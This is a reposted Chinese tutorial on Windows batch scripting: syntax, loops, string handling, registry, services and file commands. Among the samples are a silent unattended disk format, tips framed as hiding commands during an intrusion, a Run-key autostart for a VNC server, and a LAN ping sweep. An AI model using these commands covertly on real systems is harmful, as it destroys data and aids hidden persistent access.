Bat命令知識[轉]

基礎部分:

1、基礎語法:

   1.批處理文件是一個「.bat」結尾的文本文件,這個文件的每一行都是一條DOS命令。可使用任何文本文件編輯工具建立和修改。
2.批處理是一種簡單的程序,能夠用 if 和 goto 來控制流程,也可使用 for 循環。
3.批處理的編程能力遠不如C語言等編程語言,也十分不規範。
4.每一個編寫好的批處理文件都至關於一個DOS的外部命令,把它所在的目錄放到DOS搜索路徑(path)中,便可在任意位置運行。
5.C:\AUTOEXEC.BAT 是每次系統啓動時都會自動運行的,能夠將每次啓動時都要運行的命令放入該文件中。
6.大小寫不敏感(命令符忽略大小寫)
7.批處理的文件擴展名爲 .bat 或 .cmd。
8.在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe來運行該文件。

2、參數:

    1) 系統參數
 %SystemRoot%   ===    C:\WINDOWS    (%windir% 一樣)
       %ProgramFiles% ===    C:\Program Files
       %USERPROFILE%  ===    C:\Documents and Settings\Administrator  (子目錄有「桌面」,「開始菜單」,「收藏夾」等)
       %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
       %TEMP%         ===    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp  (%TEM% 一樣)
       %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
       %OS%           ===    Windows_NT (系統)
       %Path%         ===    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem  (本來的設置)
       %HOMEDRIVE%    ===    C:   (系統盤)
       %HOMEPATH%     ===    \Documents and Settings\Administrator

       :: 枚舉當前的環境變量
       setlocal enabledelayedexpansion
       FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i    !%%i!


2) 傳遞參數給批處理文件
%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。
變量能夠從%0到%9,%0表示批處理命令自己,其它參數字符串用 %1 到 %9 順序表示。
call test2.bat "hello" "haha" (執行同目錄下的「test2.bat」文件,並輸入兩個參數)
        在「test2.bat」文件裏寫:
        echo %1  (打印: "hello")
        echo %2  (打印: "haha")
        echo %0  (打印: test2.bat)
        echo %19 (打印: "hello"9)

3、批處理基本命令

0. help 命令
/? 命令
語法: 命令 /?
可顯示此命令的幫助信息
  Sample: type /? >>tmp.txt  (把 type 命令的幫助信息寫入到tmp.txt文件裏)
Sample: help type (顯示跟「type /?」同樣)



1.Echo 命令
語法: echo [{on|off}] [message]
ECHO [ON | OFF] 打開回顯或關閉回顯功能。
ECHO 顯示當前回顯設置。
ECHO [message] 顯示信息。
echo off 表示在此語句後全部運行的命令都不顯示命令行自己;默認是on,on時會顯示如: C:\文件夾路徑>命令行。
在實際應用中咱們會把這條命令和重定向符號( 也稱爲管道符號,通常用 > >> ^ )結合來實現輸入一些命令到特定格式的文件中。
  Sample: echo off
Sample: echo hello world (顯示出「hello world」)
Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前尚未 setupreg.reg 這個文件)
Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加內容進 setupreg.reg 這個文件)

2.@ 命令
表示不顯示@後面的命令,(在入侵過程當中天然不能讓對方看到你使用的命令啦)
@ 與 echo off 相象,但它是加在每一個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
  Sample: @echo off  (此語句經常使用於開頭,表示不顯示全部的命令行信息,包括此句)
Sample: @echo please wait a minite...
Sample: @format X: /q/u/autoset
  (format 這個命令是不可使用/y這個參數的,可喜的是微軟留了個autoset這個參數給咱們,效果和/y是同樣的。)

3.Goto 命令
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
指定跳轉到標籤行,找到標籤行後,程序將處理從下一行開始的命令。
label標籤的名字能夠隨便起,可是最好是有意義的,字母前必須加個冒號「:」來表示這個字母是標籤。
goto命令就是根據這個冒號來尋找下一步跳到到那裏。常常與 if 配合使用,根據不一樣的條件來執行不一樣的命令組。
例題見「5.Pause 命令」

4.Rem 命令
語法:Rem Message...
(小技巧:用::代替rem)
註釋命令,在C語言中至關與/*...*/,它並不會被執行,只是起一個註釋的做用,便於別人閱讀和本身往後修改。
  Sample:@Rem Here is the description.

5.Pause 命令
會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續 

 @echo off
   :begin
   copy a:*.* d:\back
   echo Please put a new disk into driver A
   pause
   goto begin
在這個例子中,驅動器 A 中磁盤上的全部文件均複製到d:\back中。
  顯示的信息提示您將另外一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,而後按任意鍵再次複製。

6.Call 命令
  語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
  參數: [Drive:][Path] FileName  指定要調用的批處理程序的位置和名稱。filename 參數必須具備 .bat 或 .cmd 擴展名。
  調用另外一個批處理程序,而且不終止父批處理程序。
  若是不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將沒法返回當前文件並執行當前文件的後續命令。
  call 命令接受用做調用目標的標籤。若是在腳本或批處理文件外使用 Call,它將不會在命令行起做用。

  Sample:call="%cd%\test2.bat" haha kkk aaa    (調用指定目錄下的 test2.bat,且輸入3個參數給他)
Sample:call test2.bat arg1 arg2 (調用同目錄下的 test2.bat,且輸入2個參數給他)
  注:能夠調用自身(死循環、遞歸)

7.start 命令
調用外部程序,全部的 DOS命令 和 命令行程序 均可以由 start命令 來調用。
入侵經常使用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先級類別開始應用程序
REALTIME 在 REALTIME 優先級類別開始應用程序
WAIT 啓動應用程序並等候它結束
parameters 這些爲傳送到命令/程序的參數
  Sample:start /MIN test2.bat arg1 arg2    (調用同目錄下的 test2.bat,且輸入2個參數給他,且本窗口最小化)
Sample:e:\"program files"\極品列車時刻表\jpskb.exe (文件路徑名有空格時)

8.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不一樣的命令。有三種格式:
1) IF
語法: if [not] "參數" == "字符串" 待執行的命令
參數若是等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,不然運行下一句。(注意是兩個等號)
   Sample: if "%1" == "a" format a:
Sample: if {%1} == {} goto noparms

2) if exist
語法: if [not] exist [路徑\]文件名 待執行的命令
若是有指定的文件,則條件成立,運行命令,不然運行下一句。
     Sample: if exist config.sys edit config.sys   (表示若是存在這文件,則編輯它,用很難看的系統編輯器)
Sample: if exist config.sys type config.sys (表示若是存在這文件,則顯示它的內容)

3) if errorlevel number
語法: if [not] errorlevel <數字> 待執行的命令
若是程序返回值等於指定的數字,則條件成立,運行命令,不然運行下一句。(返回值必須按照從大到小的順序排列)
     Sample:
@echo off
XCOPY F:\test.bat D:\
IF ERRORLEVEL 1 (ECHO 文件拷貝失敗
) Else IF ERRORLEVEL 0 ECHO 成功拷貝文件
pause

不少DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),稱爲錯誤碼errorlevel或稱返回碼。
常見的返回碼爲0、1。經過if errorlevel命令能夠判斷程序的返回值,根據不一樣的返回值來決定執行不一樣的命令。
4) else
語法: if 條件 (成立時執行的命令) else (不成立時執行的命令)
若是是多個條件,建議適當使用括號把各條件包起來,以避免出錯。
     Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
注:若是 else 的語句須要換行,if 執行的行尾需用「^」鏈接,而且 if 執行的動做需用(括起來),不然報錯
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
else (echo comment3 )

5) 比較運算符:
EQU - 等於 (通常使用「==」)
NEQ - 不等於 (沒有 「!=」,改用「 if not 1==1 」的寫法)
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於


9.choice 命令
choice 使用此命令可讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不一樣的 errorlevel,
而後配合 if errorlevel 選擇運行不一樣的命令。
注意:choice命令爲DOS或者Windows系統提供的外部命令,不一樣版本的choice命令語法會稍有不一樣,請用choice /?查看用法。
choice 使用此命令可讓用戶輸入一個字符,從而運行不一樣的命令。
使用時應該加/c:參數,c:後應寫提示可輸入的字符,之間無空格。它的返回碼爲1234……
Sample:  choice /c:dme defrag,mem,end
    將顯示:  defrag,mem,end[D,M,E]?
    Sample:
    choice /c:dme defrag,mem,end
    if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
    if errorlevel 2 goto mem
    if errotlevel 1 goto end


10.for 命令
   for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。
   1) for {%variable | %%variable} in (set) do command [command-parameters]
      %variable 指定一個單一字母可替換的參數。變量名稱是區分大小寫的,因此 %i 不一樣於 %I
      在批處理文件中使用 FOR 命令時,指定變量建議用 %%variable而不要用 %variable。
      (set) 指定一個或一組文件。可使用通配符。
      command 指定對每一個文件執行的命令。
      command-parameters 爲特定命令指定參數或命令行開關。
   2) 若是命令擴展名被啓用,下列額外的 FOR 命令格式會受到支持:
      a.FOR /D %variable IN (set) DO command [command-parameters]
        若是集裏面包含通配符,則指定與目錄名匹配,而不與文件名匹配。
      b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
        檢查以 [drive:]path 爲根的目錄樹,指向每一個目錄中的FOR 語句。
        若是在 /R 後沒有指定目錄,則使用當前目錄。若是集僅爲一個單點(.)字符,則枚舉該目錄樹。
      c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
        該集表示以增量形式從開始到結束的一個數字序列。
        如:(1,1,5) 將產生序列 1 2 3 4 5;  而(5,-1,1) 將產生序列 (5 4 3 2 1)。
      d.有或者沒有 usebackq 選項:
        FOR /F ["options"] %variable IN (file-set) DO command
        FOR /F ["options"] %variable IN ("string") DO command
        FOR /F ["options"] %variable IN (command)  DO command
    參數"options"爲:
        eol=c           - 指一個行註釋字符的結尾(就一個,如「;」)
        skip=n          - 指在文件開始時忽略的行數。
        delims=xxx      - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
        tokens=x,y,m-n  - 指每行的哪個符號被傳遞到每一個迭代的 for 自己。這會致使額外變量名稱的分配。
                          m-n格式爲一個範圍。經過 nth 符號指定 mth。
              若是符號字符串中的最後一個字符星號,那麼額外的變量將在最後一個符號解析以後分配並接受行的保留文本。
        usebackq        - 指定新語法已在下類狀況中使用:
                          在做爲命令執行一個後引號的字符串而且一個單引號字符爲文字字符串命令並容許在 filenameset中使用雙引號擴起文件名稱。
   3) Sample:
      1. 以下命令行會顯示當前目錄下全部以bat或者txt爲擴展名的文件名。
         for %%c in (*.bat *.txt) do (echo %%c)
      a. 以下命令行會顯示當前目錄下全部包含有 e 或者 i 的目錄名。
         for /D %%a in (*e* *i*) do echo %%a
      b. 以下命令行會顯示 E盤test目錄 下全部以bat或者txt爲擴展名的文件名。
         for /R E:\test %%b in (*.txt *.bat) do echo %%b
         for /r %%c in (*) do (echo %%c)  :: 遍歷當前目錄下全部文件
      c. 以下命令行將產生序列 1 2 3 4 5
         for /L %%c in (1,1,5) do echo %%c
      d. 如下兩句,顯示當前的年月日和時間
         For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
         For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時%%k分
      e. 把記事本中的內容每一行前面去掉8個字符
         setlocal enabledelayedexpansion
         for /f %%i in (zhidian.txt) do (
    set atmp=%%i
    set atmp=!atmp:~8!
           if {!atmp!}=={} ( echo.) else echo !atmp!
         )
         :: 讀取記事本里的內容(使用 delims 是爲了把一行顯示全,不然會以空格爲分隔符)
         for /f "delims=" %%a in (zhidian.txt) do echo.%%a
   4) continue 和 break
      利用 goto 實現程序中經常使用的 continue 和 break 命令, 其實很是簡單
      continue: 在 for 循環的最後一行寫上一個標籤,跳轉到這位置便可
      break: 在 for 循環的外面的下一句寫上一個標籤,跳轉到這位置便可
      Sample: (僞代碼)
        for /F ["options"] %variable IN (command)  DO (
        ... do command ...
        if ... goto continue
        if ... goto break
        ... do command ...
        :continue
        )
        :break


4、其它命令
1. ping 命令
   測試網絡聯接情況以及信息包發送和接收情況。可是不可以測試端口。
   語法:ping IP地址或主機名 [-t] [-a] [-n count] [-l size]
    參數含義:
    -t 不停地向目標主機發送數據;
    -a 以IP地址格式來顯示目標主機的網絡地址;
    -n count 指定要Ping多少次,具體次數由count來指定;
    -l size 指定發送到目標主機的數據包的大小。
  Sample: ping 192.168.0.1 -t (不停的測試192.168.0.1,按ctrl+c中止)
Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下全部的局域網電腦)

2. telnet 命令
測試端口使用 telnet IP地址或主機名 端口,使用tcp協議的
   Sample:  telnet 192.168.0.1 80 (測試192.168.0.1的80端口)

3.color 命令
設置背景及字體顏色
語法: color bf
b 是指定背景色的十六進制數字; f 指定前景顏色(即字體顏色)。
顏色值: 0:黑色 1:藍色 2:綠色 3:湖藍 4:紅色 5:紫色 6:黃色 7:白色
8:灰色 9:淡藍 A:淡綠 B:淺綠 C:淡紅 D:淡紫 E:淡黃 F:亮白
若是沒有給定任何參數,該命令會將顏色還原到 CMD.EXE 啓動時的顏色。
若是兩參數同樣,視爲無效輸入。只有一個參數時,設置字體。

4. random 命令
產生隨機數(正整數0~)

5. exit 命令
結束程序。即時是被調用的程序,結束後也不會返回原程序

6. shutdown命令
shutdown -s 關機


10. 全部內置命令的幫助信息
ver /?
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其餘須要的經常使用命令
type /?
find /?
findstr /?
copy /?


5、字符串處理
1) 分割字符串,以查看時間爲例
%源字符串:~起始值,截取長度% (起始值從0開始;截取長度是可選的,若是省略逗號和截取長度,將會從起始值截取到結尾;
截取長度若是是負數,表示截取到倒數第幾個。)
      "%time%"      顯示如:"11:04:23.03" (完整的時間"hh:mm:ss.tt")
"%time:~0,5%" 顯示"hh:mm"(即"11:04"),其中0表示從右向左移位操做的個數,5表示從左向右移位操做的個數
"%time:~0,8%" 顯示標準時間格式"hh:mm:ss"(即"11:04:23",前8個字符串)
"%time:~3,-3%"顯示"mm:ss"(即從第4個開始,截去最後3個的字符串)
"%time:~3%" 顯示"04:23.03"(即去掉前4個字符串)
"%time:~-3%" 顯示".tt"(即最後3個字符串)
      上面的字串分割格式,也能夠用於其它地方,如目錄路徑:"%cd:~0,10%"

2) 替換字符串
       set a="abcd1234"
echo %a% 顯示:"abcd1234"
set a=%a:1=kk% 替換「1」爲「kk」
echo %a% 顯示:"abcdkk234"


3) 字符串合併
因爲沒有直接的字符串合併函數,只能用笨方法了。
       set str1=%str1%%str2%    (合併 str1 和 str2)

4) 計算字符串長度
     沒有現成的函數。以下程序利用 goto造成循環,不斷將字符串截短1,並記錄截短的次數,到字符串變成空時的次數即長度。
set testStr=This is a test string
       :: 將 testStr 複製到str,str 是個臨時字符串
       set str=%testStr%
       :: 標籤,用於goto跳轉
       :next1
       :: 判斷str是否是空,若是不是則執行下邊的語句
       if not "%str%"=="" (
       :: 算術運算,使num的值自增1,至關於num++或者++num語句
       set /a num+=1
       :: 截取字符串,每次截短1
       set "str=%str:~1%"
       :: 跳轉到next1標籤: 這裏利用goto和標籤,構成循環結構
       goto next1
       )
       :: 當以上循環結構執行完畢時,會執行下邊的語句
       echo testStr=%testStr%
       echo testStr的長度爲:%num%

5) 截取字符串時,須要傳遞參數
直接 echo %args:~%num%,-5% 沒辦法想要的字符串,須要以下兩步
       setlocal enabledelayedexpansion
echo !args:~%num%,-5!

6、註冊表操做
1) 備份註冊表,將[HKEY_LOCAL_MACHINE ... Run]的內容,備份到「c:\windows\1.reg」
       reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg

2) 修改/添加註冊表內容
a.通常的添加或修改
       reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
上句解析:「HKCU」是「HKEY_CURRENT_USER」的縮寫,不用縮寫用全稱也能夠;
添加名稱爲「Java_Home」的變量;類型爲「reg_sz」,另外一種常見類型是「reg_dword」;值爲 D:\Java\jdk1.6.0_07;

b.使用變量
         set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f

c.若是註冊表的名稱有空格,或者數據用特殊符號時
       reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
傳入值爲(值用雙引號括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
傳入值爲(「\」結尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\

d.增長空的內容
         reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

e.添加或修改默認值
         reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
這裏用「/ve」來代替通常修改時的「/v 變量名」,便可修改默認值了

3) 刪除註冊表的內容
      雙引號裏面的是註冊表的目錄,下面兩句將刪除這目錄下的全部信息
reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
雙引號裏面的是註冊表的目錄,下面一句將刪除這目錄下指定的某個信息
reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f

4) 註冊表的經常使用位置
a.系統啓動項:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
     example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f

b.系統環境變量:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
c.當前用戶的環境變量:
[HKEY_CURRENT_USER\Environment]
5) 修改註冊表以後,結束並從新加載explorer.exe進程,可刷新註冊表,令其生效
       taskkill /f /im explorer.exe >nul
start "" "explorer.exe"
7、系統服務    1) 中止服務:NET STOP 服務名       啓動服務:NET Start 服務名    2) 設置啓動類型       自動:  SC CONFIG 服務名 START= auto       手動:  SC CONFIG 服務名 START= demand       已禁用:SC CONFIG 服務名 START= disabled       附:「START= 」等號後面必需要有一個空格。(start還有boot,system兩個值)       Sample:  SC CONFIG Spooler START= demand (打印機加載項,設置成手動,默認自動)    3) 查看系統服務:start %SystemRoot%\system32\services.msc /s8、setlocal與變量延遲  0) 在沒有開啓變量延遲的狀況下,某條命令行中的變量改變,必須到下一條命令才能體現。     另外例如for命令等,其後用一對圓括號閉合的全部語句也看成一行。     example:       set a=4       set a=5 & echo %a%     結果:4     也能夠對這種機制加以利用,以下的變量交換     example:       set var1=abc       set var2=123       echo 交換前: var1=%var1% var2=%var2%       set var1=%var2%& set var2=%var1%       echo 交換後: var1=%var1% var2=%var2%  1) 啓動批處理文件中環境變量的本地化。本地化將持續到出現匹配的 endlocal 命令或者到達批處理文件結尾爲止。    語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}    enableextension: 啓用命令擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。    disableextensions: 禁用命令擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。    enabledelayedexpansion: 啓用延遲的環境變量擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。    disabledelayedexpansion: 禁用延遲的環境變量擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。  2) 爲了可以感知環境變量的動態變化,批處理設計了變量延遲。簡單來講,在讀取了一條完整的語句以後,不當即對該行的變量賦值,而會在某個單條語句執行以前再進行賦值,也就是說「延遲」了對變量的賦值。  examle:    setlocal enabledelayedexpansion    set a=4    set a=5 & echo !a!  結果: 5  變量延遲的啓動語句是「setlocal enabledelayedexpansion」,而且變量要用一對歎號「!!」括起來  因爲啓動了變量延遲,因此批處理可以感知到動態變化,即不是先給該行變量賦值,而是在運行過程當中給變量賦值,所以此時a的值就是5了  另外,啓動變量延遲,「%」的變量仍是不變  example2:    setlocal enabledelayedexpansion    for /l %%i in (1,1,5) do (    set a=%%i    echo !a!    )  結果,打印從1到5;若是不變量延遲,一個變量也沒有打印9、文件處理  1.刪除    1) 刪除一個文件或多個文件       del /s /q /f d:\test\a.bat       將直接刪除d:\test\a.bat,沒有任務提示       del temp\* /q /f /s       將直接刪除 本目錄的 temp 目錄的全部文件,沒有任務提示       刪除文件的時候可使用「*」做通配符    2) 刪除一個空目錄       rd /q /s  d:\test\log       將直接刪除d:\test\log目錄,若是log目錄裏面有文件將沒法刪除    3) 刪除一個非空目錄 (必須指定目錄名稱)       rmdir /q /s d:\test\logs       必須指定目錄名稱,不能使用通配符       /S  除目錄自己外,還將刪除指定目錄下的全部子目錄       /Q  安靜模式,帶 /S 刪除目錄樹時不要求確認       不管裏面是否有文件或文件夾將所有直接刪除  2.建立目錄    MKDIR [drive:]path    MD [drive:]path    路徑有空格時,能夠用雙引號括起來,也能夠用 &nbsp; 替代實踐部分:======================================================================1、小摘錄:    1. 調用其餘程序時,對文件的大小寫不敏感,文件後綴也可忽略       如:start LeapFTP.exe  與 start leapftp 效果同樣,都是運行「LeapFTP.exe」文件       每行的開頭的字符串會自動查找程序來運行,還可用雙引號引發來(文件名或目錄名含空格時必須用)       如:"D:\Program Files\Leap FTP.exe"       "LeapFTP.exe" 可正常運行文件,start "" "LeapFTP.exe" 也能夠正常運行文件(注意,第一個參數是窗口顯示的標題)    3. copy C:\test\*.* D:\back  (複製C盤test文件夾的全部文件(不包括文件夾及子文件夾裏的東西)到D盤的back文件夾)    4. dir c:\*.* > a.txt (將c盤文件列表寫入 a.txt 中)    5.  > 生成文件並寫入內容(若是有這文件則覆蓋),  >> 文件裏追加內容    6. md d:\aa (建立文件夾)    7. 在命令末尾加上「>NUL 2>NUL」,表示隱蔽返回信息。    8. 等待用戶輸入: set /p 變量名=屏幕顯示信息。  Sample:set /p pass=請輸入密碼:    9. 讓用戶按回車退出       小技巧(替代pause),文件的最後一句:set /p tmp=操做結束,請按回車鍵退出...    10.設置標題: title JDK安裝    11.設置屏幕顯示顏色,如綠色: color 0a    12.清屏: cls    13.查看本身的IP:       for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i       echo %ip% (這時的 %ip% 就是本身的IP地址)    14. 修改文件的更新日期        copy 文件名+,,>nul  (修改成當前時間,若是要修改成指定時間,先修改系統時間,再改回系統時間)    15. 修改文件的後綴名        ren C:\test\*.jpg *.JPG	for /r %%c in (*.jpg) do (ren %%c *.JPG)  :: 修改當前目錄下的全部文件的後綴名,包括子目錄的    16. 修改文件的文件名        rename test.jpg test2.JPG        rename *.jpg *.888.JPG    17. 查看DNS、IP、Mac等        1) Win98: winipcfg        2) Win2000以上: Ipconfig /all        3) NSLOOKUP    18.查看IP上的共享資源,就能夠        net view 192.168.10.8    19.共享        A.查看你機器的共享資源: net share        B.手工刪除共享          net share 共享資源名稱$ /d          注意$後有空格。        C.增長一個共享:          net share mymovie=e:\downloads\movie /users:3          mymovie 共享成功。 同時限制連接用戶數爲3人。    20.打開某網站          start iexplore.exe http://www.baidu.com2、實例:    1. 生成 reg 文件,運行它,再刪除它        echo "更改windows安裝文件的路徑"        echo Windows Registry Editor Version 5.00 > c:\setupreg.reg        echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg        echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg        echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg        :: 寫入註冊表        regedit /S c:\setupreg.reg        :: 刪除註冊表文件        del c:\setupreg.reg    2.調用了exe文件,結束後沒有關閉,解決方式       用start命令運行文件,如:       start LeapFTP.exe 192.168.0.100    3.設置系統環境變量      :: 有這個環境變量,則不需再設置,直接結束      if not "%JAVA_HOME%" == "" exit      :: 設置環境變量的地址      set inputJavaHome=%cd%\jdk1.6.0_07      :: 設置環境變量,也能夠設置當前用戶的變量      set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment      echo 正在設置環境變量,請稍候......      reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f      reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f      reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]      :: 刷新,令環境變量生效      taskkill /f /im explorer.exe >nul      start "" "explorer.exe"    4.隱藏某目錄的全部文件及文件夾      cd /d 要隱藏的目錄(如:D:)      for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)    5.在批處理中使用密碼。密碼爲admin,輸入正確,跳轉到next1 ,若輸入密碼錯誤3次,則鎖屏。。      @echo off      set num=0      :11      set /p pass=請輸入密碼:      if "%pass%"=="admin" goto next1      set /a num=%num% + 1      if %num%==3 goto no1      goto 11      :no1      %windir%\system32\rundll32.exe user32.dll,LockWorkStation      goto 11      :next1      echo 密碼正確,執行下面的程式      pause    6.清空回收站(未成功)      @echo off      del /f /s /q c:\recycler\*.*      ::刷新屏幕      taskkill /f /im explorer.exe >nul      start "" "explorer.exe"    7.讓系統斷斷續續地鳴叫      @echo off      :begin      :: 發出鳴叫(「」實際就是ASCII碼值爲7的特殊字符(蜂鳴鍵beep)      echo       :: 讓程序暫停一小陣子      ping -n 1 -l 1 127.1>nul      goto :begin    8.將 FAT 卷轉換成 NTFS       利用「CONVERT.exe」進行,解析以下:        CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]          volume      指定驅動器號(後面跟一個冒號)、裝載點或卷名。          /FS:NTFS    指定要被轉換成 NTFS 的卷。          /V          指定 Convert 應該用詳述模式運行。          /CvtArea:filename                      將根目錄中的一個接續文件指定爲NTFS 系統文件的佔位符。          /NoSecurity 指定每一個人均可以訪問轉換的文件和目錄的安全設置。          /X          若是必要,先強行卸載卷。該卷的全部打開的句柄則無效。        程序以下:        @ ECHO OFF        @ ECHO.        @ ECHO.                               說   明        @ ECHO --------------------------------------------------------------------------        @ ECHO NTFS是一種磁盤格式。該格式能存放大於4G的單個文件(如高清電影文件),並可對        @ ECHO 文件夾進行加密,但有個缺點是DOS下沒法訪問。建議D盤及其後的盤使用NTFS格式,        @ ECHO C盤如非必要能夠不轉換,FAT32與NTFS這兩種格式的讀寫速度幾乎是沒有差異的。        @ ECHO --------------------------------------------------------------------------        @ ECHO.        convert c: /fs:ntfs        :: D盤也轉成 NTFS        convert d: /fs:ntfs    9. 獲取個人文檔        SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"        FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"        :: 複製文件到個人文檔        XCOPY /D /E /R /Y /C  "%cd%\test.txt" "%myDoc%\test\"==========================================實例:        3.IF-ERRORLEVEL      @ECHO OFF      XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗      IF ERRORLEVEL 0 ECHO 成功拷貝文件      若是文件拷貝成功,屏幕就會顯示「成功拷貝文件」,不然就會顯示「文件拷貝失敗」。      IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,並且返回值必須依照從大到小次序順序判斷。所以下面的批處理文件是錯誤的:      @ECHO OFF      XCOPY C:\AUTOEXEC.BAT D:\      CHO 成功拷貝文件      IF ERRORLEVEL 1 ECHO 未找到拷貝文件      IF ERRORLEVEL 2 ECHO 用戶經過ctrl-c停止拷貝操做      IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操做      IF ERRORLEVEL 4 ECHO 拷貝過程當中寫盤錯誤      不管拷貝是否成功,後面的:      未找到拷貝文件      用戶經過ctrl-c停止拷貝操做      預置錯誤阻止文件拷貝操做      拷貝過程當中寫盤錯誤      都將顯示出來。      如下就是幾個經常使用命令的返回值及其表明的意義:      backup      0 備份成功      1 未找到備份文件      2 文件共享衝突阻止備份完成      3 用戶用ctrl-c停止備份      4 因爲致命的錯誤使備份操做停止      diskcomp      0 盤比較相同      1 盤比較不一樣      2 用戶經過ctrl-c停止比較操做      3 因爲致命的錯誤使比較操做停止      4 預置錯誤停止比較      diskcopy      0 盤拷貝操做成功      1 非致命盤讀/寫錯      2 用戶經過ctrl-c結束拷貝操做      3 因致命的處理錯誤使盤拷貝停止      4 預置錯誤阻止拷貝操做      format      0 格式化成功      3 用戶經過ctrl-c停止格式化處理      4 因致命的處理錯誤使格式化停止      5 在提示「proceed with format(y/n)?」下用戶鍵入n結束      xcopy      0 成功拷貝文件      1 未找到拷貝文件      2 用戶經過ctrl-c停止拷貝操做      4 預置錯誤阻止文件拷貝操做      5 拷貝過程當中寫盤錯誤=============================================================@echo off    //不顯示shell的命令。Setlocal         //環境改變只適用於這個文件。%OS%       //爲當前的操做系統。Rem              //註釋一行文本。Goto 標籤   //改變執行順序,去標籤位置.:標籤           //定義一個標籤。Set 變量名=值   //定義變量Not         //取反Netstat –na   //顯示當前被點用的端口.%0  %1  %2  